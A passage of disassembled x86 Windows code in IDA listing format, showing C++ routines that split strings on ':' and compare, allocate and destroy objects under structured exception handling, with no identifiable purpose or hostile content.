		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40192E
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413C40	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413C40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413D89
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017EE
		test	eax, eax
		jz	loc_413D89
		push	esi
		push	edi
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413D63
		add	ebp, 54h


loc_413CC0:				; CODE XREF: sub_413C40+11Dj
		push	15h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413CE0
		mov	ecx, eax
		call	sub_401F4B
		jmp	short loc_413CE2
; ---------------------------------------------------------------------------


loc_413CE0:				; CODE XREF: sub_413C40+95j
		xor	eax, eax


loc_413CE2:				; CODE XREF: sub_413C40+9Ej
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016B8
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40202C
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_401488
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413CC0


loc_413D63:				; CODE XREF: sub_413C40+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413D89:				; CODE XREF: sub_413C40+26j
					; sub_413C40+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413C40	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E10	proc near		; CODE XREF: sub_401F4Bj
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_413E10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413E30:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401870
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E70	proc near		; CODE XREF: sub_4018ACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413E70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_401CE4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_41405E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_402130
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41405E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_41405E
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413F57
		lea	ecx, [edi+2Ah]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017EE


loc_413F26:				; CODE XREF: sub_413E70+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413F4A
		cmp	cl, bl
		jz	short loc_413F46
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413F4A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F26


loc_413F46:				; CODE XREF: sub_413E70+C0j
		xor	eax, eax
		jmp	short loc_413F4F
; ---------------------------------------------------------------------------


loc_413F4A:				; CODE XREF: sub_413E70+BCj
					; sub_413E70+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413F4F:				; CODE XREF: sub_413E70+D8j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413F57:				; CODE XREF: sub_413E70+A1j
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413FB3
		lea	ecx, [edi+3Fh]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017EE


loc_413F82:				; CODE XREF: sub_413E70+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413FA6
		cmp	cl, bl
		jz	short loc_413FA2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413FA6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F82


loc_413FA2:				; CODE XREF: sub_413E70+11Cj
		xor	eax, eax
		jmp	short loc_413FAB
; ---------------------------------------------------------------------------


loc_413FA6:				; CODE XREF: sub_413E70+118j
					; sub_413E70+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413FAB:				; CODE XREF: sub_413E70+134j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413FB3:				; CODE XREF: sub_413E70+FAj
		push	58h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413FD3
		mov	ecx, eax
		call	sub_401D1B
		jmp	short loc_413FD5
; ---------------------------------------------------------------------------


loc_413FD3:				; CODE XREF: sub_413E70+158j
		xor	eax, eax


loc_413FD5:				; CODE XREF: sub_413E70+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40202C
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40202C
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401410
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4140AB
; ---------------------------------------------------------------------------


loc_41405E:				; CODE XREF: sub_413E70+44j
					; sub_413E70+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4140AB:				; CODE XREF: sub_413E70+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413E70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414160	proc near		; CODE XREF: sub_401D1Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414160	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4141F0:				; CODE XREF: ___:00401DD9j
		push	0FFFFFFFFh
		push	offset loc_43AF10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_4018AC
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4142E0	proc near		; CODE XREF: sub_401541j
		add	ecx, 6Ch
		jmp	sub_401C76
sub_4142E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414300	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414300
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_437AEA
sub_414300	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414343
		mov	ecx, eax
		call	sub_401BF4
; ---------------------------------------------------------------------------
		jmp	short loc_414345
; ---------------------------------------------------------------------------


loc_414343:				; CODE XREF: ___:00414338j
		xor	eax, eax


loc_414345:				; CODE XREF: ___:00414341j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40202C
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40202C
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40202C
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40202C
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401F0F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414430	proc near		; CODE XREF: sub_401BF4j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40142E
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414430	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4144D0:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_43AFD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4145A0	proc near		; CODE XREF: sub_401DC0j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4145A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E38
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_414650


loc_414605:				; CODE XREF: sub_4145A0+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41462D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41462D:				; CODE XREF: sub_4145A0+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020C2
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_414605


loc_414650:				; CODE XREF: sub_4145A0+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_414698
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_414673
		push	1
		call	sub_4019EC


loc_414673:				; CODE XREF: sub_4145A0+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_414698:				; CODE XREF: sub_4145A0+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_4145A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414710	proc near		; CODE XREF: sub_4019ECj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402243
		test	[esp+4+arg_0], 1
		jz	short loc_414728
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414728:				; CODE XREF: sub_414710+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414710	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414740	proc near		; CODE XREF: sub_402243j
		jmp	sub_401226
sub_414740	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414760:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_43B020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414829


loc_4147C3:				; CODE XREF: ___:00414827j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_444C64 ; ":"
		push	esi
		push	edx
		call	sub_4016B8
		mov	ecx, ebp
		call	sub_401DC0
		cmp	al, bl
		jnz	short loc_4147F0
		mov	[esp+13h], bl


loc_4147F0:				; CODE XREF: ___:004147EAj
		inc	esi
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4147C3


loc_414829:				; CODE XREF: ___:004147C1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4148A0	proc near		; CODE XREF: sub_40212Bj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4148A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	loc_4149D4
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_41497E


loc_414914:				; CODE XREF: sub_4148A0+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B86
		test	eax, eax
		jz	short loc_41494C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41495B


loc_41494C:				; CODE XREF: sub_4148A0+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41495B:				; CODE XREF: sub_4148A0+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414914


loc_41497E:				; CODE XREF: sub_4148A0+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_4149D4
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_40214E
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_4149A1
		push	1
		call	sub_401708


loc_4149A1:				; CODE XREF: sub_4148A0+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_4149D4:				; CODE XREF: sub_4148A0+2Ej
					; sub_4148A0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_4148A0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A70	proc near		; CODE XREF: sub_401708j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_414A88
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414A88:				; CODE XREF: sub_414A70+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414A70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414AA0	proc near		; CODE XREF: sub_401A6Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414AA0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414B30:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_43B098
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40212B
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414BC0:				; CODE XREF: ___:00401B45j
		push	0FFFFFFFFh
		push	offset loc_43B0B8
